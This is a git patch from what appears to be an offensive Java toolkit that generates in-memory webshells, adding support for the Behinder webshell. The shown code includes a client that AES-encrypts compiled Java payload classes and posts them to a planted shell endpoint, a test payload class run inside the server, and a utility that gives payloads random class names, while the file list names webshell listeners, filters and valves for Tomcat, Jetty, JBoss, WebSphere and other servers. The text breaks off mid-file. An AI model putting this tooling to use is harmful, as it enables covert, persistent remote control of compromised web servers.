From 01fd2ecb80f999c5b064e54bd3e2bc71dfb19d1f Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 22 Dec 2024 00:05:01 +0800 Subject: [PATCH] feat: support behinder shell generate --- behinder/build.gradle | 32 ++++ .../javaweb/behinder/BehinderManager.java | 179 ++++++++++++++++++ .../com/reajason/javaweb/behinder/Utils.java | 41 ++++ .../javaweb/behinder/payloads/Test.java | 114 +++++++++++ .../javaweb/behinder/BehinderManagerTest.java | 19 ++ .../boot/controller/ConfigController.java | 4 +- .../boot/controller/GeneratorController.java | 8 +- .../javaweb/boot/dto/GenerateRequest.java | 2 +- .../javaweb/boot/dto/GenerateResponse.java | 2 +- common/build.gradle | 30 +++ .../buddy/ByPassJavaModuleInterceptor.java | 0 .../ClinitRemovingAsmVisitorWrapper.java | 67 +++++++ .../javaweb/buddy/LogRemoveMethodVisitor.java | 0 .../buddy/MethodSubstitutionExample.java | 76 ++++++++ .../buddy/ServletRenameVisitorWrapper.java | 0 .../buddy/TargetJreVersionVisitorWrapper.java | 3 +- .../reajason/javaweb/util/ClassDefiner.java | 3 + .../com/reajason/javaweb/util/ClassUtils.java | 1 - .../ByPassJavaModuleInterceptorTest.java | 0 .../buddy/LogRemoveVisitorWrapperTest.java | 0 generator/build.gradle | 3 +- .../com/reajason/javaweb/GeneratorMain.java | 24 ++- .../javaweb/memshell/AbstractShell.java | 19 +- .../javaweb/memshell/BehinderGenerator.java | 64 +++++++ .../javaweb/memshell/CommandGenerator.java | 4 +- .../javaweb/memshell/GlassFishShell.java | 19 +- .../javaweb/memshell/GodzillaGenerator.java | 4 +- .../javaweb/memshell/InjectorGenerator.java | 6 +- .../reajason/javaweb/memshell/JbossShell.java | 14 +- .../reajason/javaweb/memshell/JettyShell.java | 19 +- .../javaweb/memshell/PayaraShell.java | 19 +- .../reajason/javaweb/memshell/ResinShell.java | 19 +- .../javaweb/memshell/TomcatShell.java | 22 ++- .../javaweb/memshell/UndertowShell.java | 19 +- .../javaweb/memshell/WebSphereShell.java | 16 +- .../memshell/config/BehinderConfig.java | 23 +++ .../{ => memshell}/config/CommandConfig.java | 2 +- .../{ => memshell}/config/Constants.java | 2 +- .../{ => memshell}/config/GenerateResult.java | 2 +- .../{ => memshell}/config/GodzillaConfig.java | 4 +- .../{ => memshell}/config/InjectorConfig.java | 4 +- .../javaweb/{ => memshell}/config/Server.java | 2 +- .../{ => memshell}/config/ShellConfig.java | 2 +- .../{ => memshell}/config/ShellTool.java | 9 +- .../config/ShellToolConfig.java | 4 +- .../javaweb/memshell/packer/BCELPacker.java | 2 +- .../javaweb/memshell/packer/Base64Packer.java | 2 +- .../memshell/packer/DeserializePacker.java | 2 +- .../javaweb/memshell/packer/ELPacker.java | 2 +- .../memshell/packer/FreemarkerPacker.java | 2 +- .../javaweb/memshell/packer/JspPacker.java | 2 +- .../javaweb/memshell/packer/OGNLPacker.java | 2 +- .../javaweb/memshell/packer/Packer.java | 2 +- .../memshell/packer/ScriptEnginePacker.java | 2 +- .../javaweb/memshell/packer/SpELPacker.java | 2 +- .../memshell/packer/VelocityPacker.java | 2 +- .../{util => memshell/utils}/CommonUtil.java | 4 +- .../config/GodzillaShellConfigTest.java | 3 +- .../memshell/packer/BCELPackerTest.java | 2 +- .../memshell/packer/FreemarkerPackerTest.java | 2 +- .../memshell/packer/JspPackerTest.java | 2 +- .../packer/ScriptEnginePackerTest.java | 2 +- .../tomcat/command/CommandFilterTest.java | 4 +- .../tomcat/godzilla/GodzillaTest.java | 6 +- godzilla/build.gradle | 32 ++++ .../javaweb/godzilla/GodzillaManager.java | 3 +- .../reajason/javaweb/godzilla/Payload.java | 0 .../resources/godzillaShellClassNames.txt | 0 .../javaweb/godzilla/GodzillaManagerTest.java | 0 integration-test/build.gradle | 3 + .../docker-compose-4-jdk6.yaml | 0 .../jbossas/docker-compose-5-jdk6.yaml | 11 ++ .../docker-compose-6-jdk7.yaml | 0 .../docker-compose-7-jdk7.yaml | 0 .../integration/BehinderShellTool.java | 21 ++ .../javaweb/integration/CommandShellTool.java | 2 +- .../integration/GodzillaShellTool.java | 2 +- .../integration/ShellAssertionTool.java | 26 ++- .../glassfish/GlassFish3ContainerTest.java | 12 +- .../glassfish/GlassFish4ContainerTest.java | 12 +- .../glassfish/GlassFish501ContainerTest.java | 12 +- .../glassfish/GlassFish510ContainerTest.java | 12 +- .../glassfish/GlassFish6ContainerTest.java | 12 +- .../glassfish/GlassFish7ContainerTest.java | 9 +- .../jbossas/Jboss423ContainerTest.java | 10 +- .../jbossas/Jboss510ContainerTest.java | 10 +- .../jbossas/Jboss610ContainerTest.java | 10 +- .../jbossas/Jboss711ContainerTest.java | 8 +- .../jbosseap/JbossEap6ContainerTest.java | 8 +- .../jbosseap/JbossEap7ContainerTest.java | 12 +- .../jetty/Jetty10ContainerTest.java | 12 +- .../jetty/Jetty11ContainerTest.java | 12 +- .../jetty/Jetty61ContainerTest.java | 12 +- .../jetty/Jetty76ContainerTest.java | 12 +- .../jetty/Jetty81ContainerTest.java | 12 +- .../jetty/Jetty92ContainerTest.java | 12 +- .../jetty/Jetty93ContainerTest.java | 12 +- .../jetty/Jetty94ContainerTest.java | 16 +- .../payara/Payara5201ContainerTest.java | 16 +- .../payara/Payara520225ContainerTest.java | 12 +- .../payara/Payara620222ContainerTest.java | 12 +- .../resin/Resin3116ContainerTest.java | 20 +- .../resin/Resin318ContainerTest.java | 12 +- .../resin/Resin4058ContainerTest.java | 20 +- .../resin/Resin4067ContainerTest.java | 12 +- .../tomcat/Tomcat10ContainerTest.java | 16 +- .../tomcat/Tomcat11ContainerTest.java | 10 +- .../tomcat/Tomcat11JRE21ContainerTest.java | 10 +- .../tomcat/Tomcat5ContainerTest.java | 14 +- .../tomcat/Tomcat6ContainerTest.java | 14 +- .../tomcat/Tomcat7ContainerTest.java | 16 +- .../tomcat/Tomcat8ContainerTest.java | 20 +- .../tomcat/Tomcat9ContainerTest.java | 14 +- .../websphere/WebSphere855ContainerTest.java | 9 +- .../websphere/WebSphere905ContainerTest.java | 11 +- .../wildfly/Wildfly18ContainerTest.java | 9 +- .../wildfly/Wildfly23ContainerTest.java | 9 +- .../wildfly/Wildfly30ContainerTest.java | 9 +- .../wildfly/Wildfly9ContainerTest.java | 12 +- memshell/build.gradle | 8 - .../glassfish/behinder/BehinderListener.java | 120 ++++++++++++ .../injector/GlassFishListenerInjector.java | 6 +- .../jboss/behinder/BehinderListener.java | 115 +++++++++++ .../jboss/injector/JbossListenerInjector.java | 38 ++-- .../jetty/behinder/BehinderListener.java | 115 +++++++++++ .../payara/behinder/BehinderListener.java | 119 ++++++++++++ .../resin/behinder/BehinderListener.java | 111 +++++++++++ .../shelltool/behinder/BehinderFilter.java | 91 +++++++++ .../shelltool/behinder/BehinderServlet.java | 102 ++++++++++ .../shelltool/behinder/BehinderValve.java | 105 ++++++++++ .../shelltool/godzilla/GodzillaFilter.java | 1 - .../shelltool/godzilla/GodzillaValve.java | 1 - .../memshell/shelltool/sleep/SleepFilter.java | 31 +++ .../shelltool/sleep/SleepListener.java | 26 +++ .../memshell/shelltool/sleep/SleepValve.java | 45 +++++ .../tomcat/behinder/BehinderListener.java | 115 +++++++++++ .../tomcat/command/CommandListener.java | 2 +- .../tomcat/godzilla/GodzillaListener.java | 2 +- .../undertow/behinder/BehinderListener.java | 118 ++++++++++++ .../websphere/behinder/BehinderListener.java | 109 +++++++++++ settings.gradle | 11 +- vul-webapp/src/main/java/TestServlet.java | 2 - 142 files changed, 2661 insertions(+), 289 deletions(-) create mode 100644 behinder/build.gradle create mode 100644 behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java create mode 100644 behinder/src/main/java/com/reajason/javaweb/behinder/Utils.java create mode 100644 behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java create mode 100644 behinder/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java create mode 100644 common/build.gradle rename {generator => common}/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java (100%) create mode 100644 common/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java rename {generator => common}/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java (100%) create mode 100644 common/src/main/java/com/reajason/javaweb/buddy/MethodSubstitutionExample.java rename {generator => common}/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java (100%) rename {generator => common}/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java (95%) rename {generator => common}/src/main/java/com/reajason/javaweb/util/ClassDefiner.java (90%) rename {generator => common}/src/main/java/com/reajason/javaweb/util/ClassUtils.java (96%) rename {generator => common}/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java (100%) rename {generator => common}/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java (100%) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/BehinderGenerator.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java rename generator/src/main/java/com/reajason/javaweb/{ => memshell}/config/CommandConfig.java (86%) rename generator/src/main/java/com/reajason/javaweb/{ => memshell}/config/Constants.java (92%) rename generator/src/main/java/com/reajason/javaweb/{ => memshell}/config/GenerateResult.java (96%) rename generator/src/main/java/com/reajason/javaweb/{ => memshell}/config/GodzillaConfig.java (83%) rename generator/src/main/java/com/reajason/javaweb/{ => memshell}/config/InjectorConfig.java (90%) rename generator/src/main/java/com/reajason/javaweb/{ => memshell}/config/Server.java (97%) rename generator/src/main/java/com/reajason/javaweb/{ => memshell}/config/ShellConfig.java (96%) rename generator/src/main/java/com/reajason/javaweb/{ => memshell}/config/ShellTool.java (60%) rename generator/src/main/java/com/reajason/javaweb/{ => memshell}/config/ShellToolConfig.java (83%) rename generator/src/main/java/com/reajason/javaweb/{util => memshell/utils}/CommonUtil.java (97%) rename generator/src/test/java/com/reajason/javaweb/{ => memshell}/config/GodzillaShellConfigTest.java (77%) create mode 100644 godzilla/build.gradle rename {generator => godzilla}/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java (98%) rename {generator => godzilla}/src/main/java/com/reajason/javaweb/godzilla/Payload.java (100%) rename {generator => godzilla}/src/main/resources/godzillaShellClassNames.txt (100%) rename {generator => godzilla}/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java (100%) rename integration-test/docker-compose/{jboss => jbossas}/docker-compose-4-jdk6.yaml (100%) create mode 100644 integration-test/docker-compose/jbossas/docker-compose-5-jdk6.yaml rename integration-test/docker-compose/{jboss => jbossas}/docker-compose-6-jdk7.yaml (100%) rename integration-test/docker-compose/{jboss => jbossas}/docker-compose-7-jdk7.yaml (100%) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/BehinderShellTool.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jboss/behinder/BehinderListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/payara/behinder/BehinderListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java diff --git a/behinder/build.gradle b/behinder/build.gradle new file mode 100644 index 00000000..c9b862b6 --- /dev/null +++ b/behinder/build.gradle @@ -0,0 +1,32 @@ +plugins { + id "io.freefair.lombok" version "8.11" +} + +group = 'com.reajason.javaweb' +version = '' + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 +} + + +dependencies { + implementation project(":common") + implementation 'net.bytebuddy:byte-buddy:1.+' + implementation 'commons-io:commons-io:2.+' + implementation 'org.apache.commons:commons-lang3:3.+' + implementation 'commons-codec:commons-codec:1.+' + + implementation 'com.squareup.okhttp3:okhttp:4.+' + implementation 'com.alibaba.fastjson2:fastjson2:2.0.53' + testImplementation platform('org.junit:junit-bom:5.10.0') + testImplementation 'org.junit.jupiter:junit-jupiter' +} + +test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java b/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java new file mode 100644 index 00000000..5129e136 --- /dev/null +++ b/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java @@ -0,0 +1,179 @@ +package com.reajason.javaweb.behinder; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.reajason.javaweb.behinder.payloads.Test; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.ClassFileVersion; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.codec.digest.DigestUtils; +import org.apache.commons.lang3.StringUtils; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.IOException; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Data +@AllArgsConstructor +public class BehinderManager { + private final OkHttpClient client; + private String cookie = ""; + private String entrypoint; + private String pass; + private String md5Key; + private Request request; + private Map headers = new HashMap<>(); + + public BehinderManager() { + this.client = new OkHttpClient.Builder().build(); + } + + @SneakyThrows + public boolean test() { + byte[] bytes = new ByteBuddy(ClassFileVersion.JAVA_V6).redefine(Test.class) + .name(Utils.getRandomClassName(Test.class.getName())) + .visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6)) + .make().getBytes(); + String param = "xixi"; + Map resultObj = post(bytes); + JSONObject expectedSuccessObj = new JSONObject(); + expectedSuccessObj.put("status", java.util.Base64.getEncoder().encodeToString("success".getBytes())); + expectedSuccessObj.put("msg", java.util.Base64.getEncoder().encodeToString(param.getBytes())); + String expectedSuccessBody = expectedSuccessObj.toString(); + byte[] expectedSuccessBodyBytes = encrypt(expectedSuccessBody.getBytes()); + byte[] resData = Base64.decodeBase64((byte[]) resultObj.get("data")); + int beginIndex = indexOf(resData, expectedSuccessBodyBytes); + int endIndex = resData.length - (beginIndex + expectedSuccessBodyBytes.length); + endIndex = beginIndex == -1 ? -1 : endIndex; + if (beginIndex > 0 || endIndex > 0) { + resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex); + } + String resText = new String(decrypt(resData)); + if (StringUtils.isBlank(resText)) { + throw new RuntimeException(new String((byte[]) resultObj.get("data"))); + } + JSONObject jsonObject = JSON.parseObject(resText); + String msg = new String(Base64.decodeBase64(jsonObject.getString("msg"))); + if (!param.equals(msg)) { + throw new RuntimeException(msg + " not equals to xixi, and status code is " + resultObj.get("status")); + } + return true; + } + + public Map post(byte[] bytes) throws IOException { + byte[] aes = encrypt(bytes); + RequestBody requestBody = RequestBody.create(Base64.encodeBase64(aes)); + Request.Builder builder = new Request.Builder() + .url(this.entrypoint) + .post(requestBody) + .headers(Headers.of(this.headers)); + if (StringUtils.isNotBlank(cookie)) { + builder.header("Cookie", cookie); + } + Map map = new HashMap<>(3); + try (Response response = client.newCall(builder.build()).execute()) { + map.put("status", response.code()); + byte[] bytes1 = response.body().bytes(); + map.put("data", bytes1); + map.put("headers", response.headers()); + } + return map; + } + + private byte[] encrypt(byte[] bytes) throws IOException { + return aes(this.md5Key, bytes, true); + } + + private byte[] decrypt(byte[] bytes) throws IOException { + return aes(this.md5Key, bytes, false); + } + + + /** + * AES 加解密 + * + * @param bytes 加解密的字符串字节数组 + * @param encoding 是否为加密,true 为加密,false 解密 + * @return 返回加解密后的字节数组 + */ + public static byte[] aes(String key, byte[] bytes, boolean encoding) { + try { + Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); + c.init(encoding ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(bytes); + } catch (Exception e) { + return new byte[0]; + } + } + + public static int indexOf(byte[] outerArray, byte[] smallerArray) { + for (int i = 0; i < outerArray.length - smallerArray.length + 1; ++i) { + boolean found = true; + + for (int j = 0; j < smallerArray.length; ++j) { + if (outerArray[i + j] != smallerArray[j]) { + found = false; + break; + } + } + + if (found) { + return i; + } + } + + return -1; + } + + public static BehinderManager.BehinderManagerBuilder builder() { + return new BehinderManager.BehinderManagerBuilder(); + } + + public static class BehinderManagerBuilder { + private final Map headers = new HashMap<>(); + private String entrypoint; + private String pass; + + public BehinderManager.BehinderManagerBuilder entrypoint(String entrypoint) { + this.entrypoint = entrypoint; + return this; + } + + public BehinderManager.BehinderManagerBuilder pass(String pass) { + this.pass = pass; + return this; + } + + public BehinderManager.BehinderManagerBuilder header(String key, String value) { + this.headers.put(key, value); + return this; + } + + public BehinderManager build() { + BehinderManager manager = new BehinderManager(); + manager.setPass(pass); + manager.setEntrypoint(entrypoint); + manager.setMd5Key(DigestUtils.md5Hex(pass).substring(0, 16)); + Map headers = new HashMap<>(16); + headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"); + headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"); + headers.putAll(this.headers); + manager.setHeaders(headers); + return manager; + } + } +} diff --git a/behinder/src/main/java/com/reajason/javaweb/behinder/Utils.java b/behinder/src/main/java/com/reajason/javaweb/behinder/Utils.java new file mode 100644 index 00000000..a2413f5a --- /dev/null +++ b/behinder/src/main/java/com/reajason/javaweb/behinder/Utils.java @@ -0,0 +1,41 @@ +package com.reajason.javaweb.behinder; + +import java.util.Random; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class Utils { + + public static String getRandomAlpha(int length) { + String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + Random random = new Random(); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < length; ++i) { + int number = random.nextInt(52); + sb.append(str.charAt(number)); + } + + return sb.toString(); + } + + public static String getRandomClassName(String sourceName) { + String[] domainAs = new String[]{"com", "net", "org", "sun"}; + String domainB = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase(); + String domainC = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase(); + String domainD = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase(); + String className = getRandomAlpha((new Random()).nextInt(7) + 4); + className = className.substring(0, 1).toUpperCase() + className.substring(1).toLowerCase(); + int domainAIndex = (new Random()).nextInt(4); + String domainA = domainAs[domainAIndex]; + int randomSegments = (new Random()).nextInt(3) + 3; + if (randomSegments == 3) { + return domainA + "." + domainB + "." + className; + } else if (randomSegments == 4) { + return domainA + "." + domainB + "." + domainC + "." + className; + } else { + return domainA + "." + domainB + "." + domainC + "." + className; + } + } +} diff --git a/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java b/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java new file mode 100644 index 00000000..ba7658f3 --- /dev/null +++ b/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java @@ -0,0 +1,114 @@ +package com.reajason.javaweb.behinder.payloads; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Method; +import java.util.LinkedHashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@SuppressWarnings("all") +public class Test { + private Object Request; + private Object Response; + private Object Session; + + public Test() { + } + + public boolean equals(Object obj) { + Map result = new LinkedHashMap(); + + try { + this.fillContext(obj); + result.put("status", "success"); + result.put("msg", "xixi"); + } catch (Exception e) { + result.put("msg", e.getMessage()); + result.put("status", "success"); + } finally { + try { + Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); + Method write = so.getClass().getMethod("write", byte[].class); + String jsonStr = this.buildJson(result, true); + write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8"))); + so.getClass().getMethod("flush").invoke(so); + so.getClass().getMethod("close").invoke(so); + } catch (Exception e) { + e.printStackTrace(); + } + } + return true; + } + + private byte[] Encrypt(byte[] bs) throws Exception { + String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); + byte[] raw = key.getBytes("utf-8"); + SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); + Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); + cipher.init(1, skeySpec); + byte[] encrypted = cipher.doFinal(bs); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + bos.write(encrypted); + return this.base64encode(bos.toByteArray()).getBytes(); + } + + private String buildJson(Map entity, boolean encode) throws Exception { + StringBuilder sb = new StringBuilder(); + String version = System.getProperty("java.version"); + sb.append("{"); + + for (String key : entity.keySet()) { + sb.append("\"" + key + "\":\""); + String value = (String) entity.get(key); + if (encode) { + value = this.base64encode(value.getBytes()); + } + sb.append(value); + sb.append("\","); + } + if (sb.toString().endsWith(",")) { + sb.setLength(sb.length() - 1); + } + sb.append("}"); + return sb.toString(); + } + + private void fillContext(Object obj) throws Exception { + if (obj.getClass().getName().indexOf("PageContext") >= 0) { + this.Request = obj.getClass().getMethod("getRequest").invoke(obj); + this.Response = obj.getClass().getMethod("getResponse").invoke(obj); + this.Session = obj.getClass().getMethod("getSession").invoke(obj); + } else { + Map objMap = (Map) obj; + this.Session = objMap.get("session"); + this.Response = objMap.get("response"); + this.Request = objMap.get("request"); + } + + this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); + } + + private String base64encode(byte[] data) throws Exception { + String result = ""; + String version = System.getProperty("java.version"); + try { + this.getClass(); + Class Base64 = Class.forName("java.util.Base64"); + Object Encoder = Base64.getMethod("getEncoder", (Class[]) null).invoke(Base64, (Object[]) null); + result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); + } catch (Throwable var7) { + this.getClass(); + Class Base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = Base64.newInstance(); + result = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data); + result = result.replace("\n", "").replace("\r", ""); + } + + return result; + } +} diff --git a/behinder/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java b/behinder/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java new file mode 100644 index 00000000..78e51c55 --- /dev/null +++ b/behinder/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.behinder; + +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +class BehinderManagerTest { + + @Test + void test() { + BehinderManager behinderManager = BehinderManager.builder() + .entrypoint("http://localhost:8080/app/test") + .pass("test123") + .header("User-Agent", "testValve").build(); + behinderManager.test(); + } +} \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index d9e42992..3dc3ecd3 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.boot.entity.Config; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.AbstractShell; import com.reajason.javaweb.memshell.packer.Packer; import org.springframework.http.ResponseEntity; diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java index 5ac89ccb..a0fa3cd0 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java @@ -3,10 +3,10 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.GeneratorMain; import com.reajason.javaweb.boot.dto.GenerateRequest; import com.reajason.javaweb.boot.dto.GenerateResponse; -import com.reajason.javaweb.config.GenerateResult; -import com.reajason.javaweb.config.InjectorConfig; -import com.reajason.javaweb.config.ShellConfig; -import com.reajason.javaweb.config.ShellToolConfig; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.config.InjectorConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java index 961ce56a..5a95c67e 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.boot.dto; -import com.reajason.javaweb.config.*; +import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.packer.Packer; import lombok.Data; diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java index f72a038c..32dd0b0a 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.boot.dto; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import lombok.AllArgsConstructor; import lombok.Data; diff --git a/common/build.gradle b/common/build.gradle new file mode 100644 index 00000000..b929c889 --- /dev/null +++ b/common/build.gradle @@ -0,0 +1,30 @@ +plugins { + id "io.freefair.lombok" version "8.11" +} + +group = 'com.reajason.javaweb' +version = '' + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 +} + +dependencies { + implementation 'net.bytebuddy:byte-buddy:1.+' + implementation 'commons-io:commons-io:2.+' + implementation 'org.apache.commons:commons-lang3:3.+' + implementation 'commons-codec:commons-codec:1.+' + implementation 'org.jetbrains:annotations:26.0.1' + testImplementation platform('org.junit:junit-bom:5.+') + testImplementation 'org.junit.jupiter:junit-jupiter' + testRuntimeOnly 'org.junit.platform:junit-platform-launcher' + testImplementation "org.mockito:mockito-core:5.+" +} + +test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java b/common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java similarity index 100% rename from generator/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java rename to common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java b/common/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java new file mode 100644 index 00000000..e6c2422b --- /dev/null +++ b/common/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java @@ -0,0 +1,67 @@ +package com.reajason.javaweb.buddy; + +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.field.FieldDescription; +import net.bytebuddy.description.field.FieldList; +import net.bytebuddy.description.method.MethodList; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.MethodVisitor; +import net.bytebuddy.pool.TypePool; +import net.bytebuddy.utility.OpenedClassReader; +import org.jetbrains.annotations.NotNull; + +/** + * 移除静态代码块 + * + * @author ReaJason + */ +public enum ClinitRemovingAsmVisitorWrapper implements AsmVisitorWrapper { + + /** + * The singleton instance. + */ + INSTANCE; + + private static final String CLINIT = ""; + + @Override + public int mergeWriter(int flags) { + return flags; + } + + @Override + public int mergeReader(int flags) { + return flags; + } + + @NotNull + @Override + public ClassVisitor wrap(@NotNull TypeDescription instrumentedType, + @NotNull ClassVisitor classVisitor, + @NotNull Implementation.Context implementationContext, + @NotNull TypePool typePool, + @NotNull FieldList fields, + @NotNull MethodList methods, + int writerFlags, + int readerFlags) { + return new ClinitRemovingClassVisitor(classVisitor); + } + + protected static class 